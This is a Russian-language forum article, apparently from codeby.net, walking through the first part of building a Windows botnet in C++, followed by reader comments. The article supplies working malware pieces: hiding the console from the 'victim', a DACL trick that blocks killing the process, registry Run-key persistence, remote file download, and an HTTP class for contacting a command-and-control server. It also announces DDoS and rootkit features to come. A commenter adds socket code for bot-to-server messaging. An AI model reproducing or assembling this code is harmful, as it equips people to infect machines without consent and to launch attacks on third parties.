Статья Пишем ботнет на C++ / Часть 1

Предисловие
На написание этой серии статей меня натолкнули несколько тем от @SooLFaa, в которых он рассказывал о разработке ботнета на C# . NET

Его посты действительно занимательные и во многом мои будут их повторять(вплодь до методов WinAPI), но с одним весомым отличием — писать свой ботнет мы будем на C++ без использования сторонних библиотек. C# очень хороший язык, но хоть и Windows 10 завоевывает всё больше машин (даже я использую десятку на планшете, ноуте и стационарном пк), парадом всё ещё правит Windows 7, а .NET, хоть и достаточно популярен в наше время, всё ещё у многих не установлен.

Заранее предупрежу, что на С++ перешел совсем недавно и хоть я пытаюсь писать без костылей, иногда может попадаться код, который вы могли бы написать лучше.

Создание и организация проекта
В качестве IDE использую Visual Studio 2017 Community с последними обновлениями, в качестве системы контроля версий Git.

Создаем новый Win32 Console Application проект в Visual Studio и видим не особо дружелюбный (по сравнению с C#) код:
Код:
#include "stdafx.h"

int main()
{
    return 0;
}

Для начала нам необходимо реализовать скрытие консоли от глаз жертвы.
Жмем на папку Source Files и создаем новый .cpp файл, назовем его Utils.cpp
Сразу же создадим заголовочный файл для нашего класса.
Жмем на папку Header Files и создаем новый .h файл, называем его Utils.h

Кстати, изначально заголовочные файлы были созданы для оптимизации кода для компилятора, поскольку железо было куда слабее. Сейчас, формально, можно обойтись и без них, но мы же пишем по канону.

Давайте распишем наши будущие методы, открываем Utils.h и пишем:
Код:
#include <iostream>
#include <Aclapi.h>

using namespace std;

class Utils {
public:
    void HideConsole();
};

Кстати, все последующие инклуды мы будем прописывать в заголовочных файлах.

Теперь переходим в Utils.cpp, инклудим наш .h файл и пишем:
Код:
#include "stdafx.h"
#include "Utils.h"

/* Скрываем консоль от пользователя */
void Utils::HideConsole() {
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth, 0);
}

Наш первый метод готов!
Для тестирования в рут неймспейсе нашего проекта (в моём случае SimpleBotnet.cpp) инклудим Utils.h, объявляем класс и используем функцию HideConsole:
Код:
#include "stdafx.h"
#include "Utils.h"

Utils utils;

int main()
{
    utils.HideConsole();
    system("pause");
    return 0;
}

Теперь запретим закрытие нашей программы, изменив аттрибуты процесса. Возвращаемся в Utils.h и добавляем новую функцию DenyAccess:
Код:
#include <iostream>
#include <Aclapi.h>
#include "Sddl.h"

using namespace std;

class Utils {
public:
    void HideConsole();
    BOOL DenyAccess();
};

Так-же прошу обратить внимание на то, что мы подключили к проекту хедер Sddl.h
Опишем функцию DenyAccess в Utils.cpp:
Код:
/* Изменяем атрибуты процесса */
BOOL Utils::DenyAccess() {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    SECURITY_ATTRIBUTES sa;
    TCHAR * szSD = TEXT("D:P");
    TEXT("(D;OICI;GA;;;BG)");
    TEXT("(D;OICI;GA;;;AN)");
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = FALSE;

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL))
        return FALSE;

    if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor))
        return FALSE;

    return TRUE;
}

Кстати, в Windows 10 данный метод не работает, поскольку Microsoft наградили taskmgr более высокими привелегиями(system). По крайней мере, на админ-учетке это так, как на юзер-моде — не знаю.

Создадим функцию для добавления в автозагрузку. Во всё том же Utils.cpp прописываем метод Autoload, принимающий string-параметры Name и Path:
Код:
/* Добавление в автозагрузку */
void Utils::Autoload(string Name, string Path) {
    string command = "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V " + Name + " /t REG_SZ /F /D " + Path;
    system(command.c_str());
}

Не забываем добавлять функцию в хедер:
Код:
void Autoload(string Name, string Path);

Как вы заметили, мы использовали стандартную функцию system() и стандартную виндовую утилиту для работы с реестром(reg). Данная функция позволяет напрямую обращаться к командной строке(cmd.exe) от имени пользователя, который запустил нашу программу. Благодаря этой замечательной функции в будущем мы будем творить удивительные вещи, но об этом в следующих постах.

Какой ботнет без возможности загрузки файлов с удаленного сервера?
Добавим эти функции и ещё пару попутных:
Utils.cpp
Код:
/* Загрузка файла с удаленного сервера */
void Utils::DownloadFile(wchar_t *url, wchar_t *dir) {
    URLDownloadToFile(0, url, dir, 0, 0);
}

/* Создание папки */
void Utils::CreateDir(wchar_t *dir) {
    CreateDirectory(dir, NULL);
}

/* Проверка файла на существование */
bool Utils::FileExists(const char *fname) {
    return access(fname, 0) != -1;
}
Utils.h
Код:
#include <iostream>
#include <Aclapi.h>
#include "Sddl.h"
#include <io.h>

using namespace std;

class Utils {
public:
    void HideConsole();
    BOOL DenyAccess();
    void Autoload(string Name, string Path);
    void DownloadFile(wchar_t *url, wchar_t *dir);
    void CreateDir(wchar_t *dir);
    bool FileExists(const char *fname);
};

А теперь начинаются сложности. Следующий шаг — реализация общения между ботом и C&C-сервером (командным сервером). Казалось бы, ничего сложного. Однако, есть одно «но» — встроенного функционала для работы с http в C++ нету.
У нас есть два выбора — использовать готовые, но тяжелые, библиотеки или написать свою, но легкую.

Вес исполняемого файла в разработке малвари очень важен, поэтому мне пришлось изворачиваться.
После ночи мучений, был найден подходящий код.
Создаем HTTP.cpp и HTTP.h в Source Files и Header Files соответственно. Поскольку код длинный, прикладываю прямую ссылку на класс в репозитории:
Копируем код по ссылке в свой проект, затем открываем HTTP.h и пишем:
Код:
#include <Windows.h>
#include <WinHttp.h>
#include <stdio.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "winhttp.lib")

using namespace std;

class HTTP {
public:
    string Request(string domain, string url, string dat);
private:
    std::wstring get_utf16(const std::string &str, int codepage);
};

Данный класс служит для отправки HTTP POST запросов, пример использования:
Код:
HTTP http;
string response = http.Request("https://codeby.net", "/page/test.php", "UserName=test&Password=test");


На этом первая часть заканчивается, в следующей части мы реализуем общение с командным сервером (получение указаний), научим наш ботнет DDoS'ить указанные ресурсы, а так-же допилим функциональность руткита.

Исходники
Специально для этой серии статей создал (буду рад вашим форкам). Обновлять буду по мере выхода статей.
 
D

Denissa89

Спасибо за статью! Очень интересно.
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Затравка хорошая. Пока сыренько но начало хорошее. Молодец.
 
  • Нравится
Реакции: MerlinKoss
I

id01

Хелоу! Ай вонт ту си зе некст парт. Совсем забыл, да?

P.s. никто, случайно, не интересуется p2p ботнетами?
 
I

id01

Не будет, мне кажется, никакой второй части...
 

0xXX

One Level
19.12.2016
9
1
BIT
0
непонятно зачем создавать консоль чтобы потом ее скрывать... загадка.
 
I

id01

непонятно зачем создавать консоль чтобы потом ее скрывать... загадка.
Интересный вопрос, и в правду. А я как-то не придал значения :) Я, например, просто компилирую как GUI-приложение, и ничего скрывать не приходится.
 

kozemit

New member
30.11.2017
1
0
BIT
0
отличная статья.
доходчиво. понятно.
Спасибо. Пишите еще!
 
M

MEBIUS

2018 совсем близко, а вторая часть...
 
R

recreat0r

Доступ к репозиторию закрыт ..........

Автору респект!! Ждем 2-ю часть. =))

---- Добавлено позже ----

Ошибка в Utils.cpp..... В строке TCHAR * szSD = TEXT("D:p"); пишет, что TEXT тут неуместен. Помогите, пожалуйста, новичок в C++=))

---- Добавлено позже ----

Значение типа const wchar_t * НЕЛЬЗЯ использовать для иниц. сущности типа TCHAR *.

---- Добавлено позже ----

Помогите!!)) :)
 
Последнее редактирование модератором:

Сергей Попов

Кодебай
30.12.2015
4 727
6 723
BIT
447
Специально для этой серии статей создал (буду рад вашим форкам)
63798639453.png
 

labvictx

Green Team
03.08.2011
28
5
BIT
12
Спасибо за статью, жаль ссылка на исходник битая:
"Исходники
Специально для этой серии статей создал (буду рад вашим форкам). Обновлять буду по мере выхода статей."
 

Qu1kly_D4m4g3

New member
21.03.2018
2
0
BIT
0
Кто-нить может хоть чуть-чуть намекнуть что было в оффнутом репозитории?
 
G

Gruzin

я написал класс на сокетах, для общения с сервером.
класс имеет две функции: void output_message(); и char* input_message(char *ip_str, int port, char *mes_str);
первая функция серверная. использовалась для отладки, и скорее всего не пригодна для использования на практике.
вторая функция используется для отправки сообщений на сервер. Она принимает: ip адрес/домен, порт, и строку. возвращает ответ сервера в виде строки.
Пример:
string = input_message("codeby.net", 80, "привет")
Код написан под Линукс, но его без труда можно переписать под винду
C++:
//файл message.h

#ifndef message_H
#define message_H
#include <iostream>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#endif // message_H

class message
{
private:
    struct sockaddr_in addr;  // структура в которую записываются ip и порт сокета
    struct in_addr ip;  // структура через которую пеедаётся ip
    int create_sock;  // сокет
    const int text_size = 1024; //размер буфера обмена
    char *text; //указатель на строку
public:
    message();
    ~message();
    void output_message();    // сервер
    char* input_message(char *ip_str, int port, char *mes_str);    // клиент
};
C++:
//файл message.cpp

#include <iostream>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <cstring>
#include <message.h>

message::message()  //конструктор
{
    create_sock = socket(AF_INET, SOCK_STREAM, 0); // создание сокета
    text = new char[text_size];   //строка в которою будет передаваться запрос или ответ
}

message::~message() //деструктор
{
    delete[] text;  //освобождает память после завершения функций
}

void message::output_message()  // функция сервера
{
    inet_aton("127.0.0.1", &ip);  // записывет ip адрес в структуру ip
    addr.sin_family = AF_INET;
    addr.sin_port = htons(10);  // устанавливает слушающий порт на сервере (10)
    addr.sin_addr = ip;  // принимает структуру ip и устанавливает адрес на который будем принимать сообщения
    bind(create_sock, (struct sockaddr *)&addr, sizeof(addr)); // прсваивает адресс и порт сокету
    listen(create_sock, SOMAXCONN);  // делает сокет слушающим
    while (1) {  // вечный цикл
        int sock = accept(create_sock, NULL, NULL);   // создаёт сокет новый сокет когда приходят клиенты
        for(int i = 0; i < text_size;)       //цикл проверяет передался ли весь буфер обмена
        {
            i =+recv(sock, text+i, text_size-i, 0); //записывает запрос клиента в text
        }
        std::cout << text << std::endl; //выводит запрос клиента на экран
        strcpy(text, "server->client"); //записывает строку server->client в text
        for(int i = 0; i < text_size;) //цикл проверяет передался ли весь буфер обмена
        {
            i =+ send(sock, text+i, text_size-i, 0); //отправляет клиенту text
        }
        close(sock); //разрывает соединение с кллиентом
    }
}

char *message::input_message(char *ip_str, int port, char *mes_str)  // функция клиента принимает домен или ip
{
    struct hostent *ip_domain;  // ссылка на структу которая будет принимать ip адрес
    ip_domain = gethostbyname(ip_str);  // принимает домен или адрес и возврощает ip в шестнадцетиричном формате
    inet_aton(inet_ntoa(*( struct in_addr*)ip_domain->h_addr_list[0]), &ip); // записывет ip адрес в структуру ip
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);   // устанавливает порт на который будем слать сообщения
    addr.sin_addr = ip;  // принимает структуру ip и устанавливает адрес на который будем посылать сообщение
    connect(create_sock, (struct sockaddr *)&addr, sizeof(addr)); // установка соединения
    strcpy(text, mes_str); //text получает строку из функции
    for(int i = 0; i < text_size;) //цикл проверяет передался ли весь буфер обмена
    {
        i =+send(create_sock, text+i, text_size-i, 0); //отправляет text серверу
    }
    for(int i = 0; i < text_size;) //цикл проверяет передался ли весь буфер обмена
    {
        i =+recv(create_sock, text+i, text_size-i, 0); //принимает ответ от клиента и записывает его в text
    }
    close(create_sock); //разрыв соединения
    return text; //возврощает text функции
}
Скажите пожалуйста всё ли я сделал правильно. И обязательно нужно использовать HTTP для общения с сервером?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!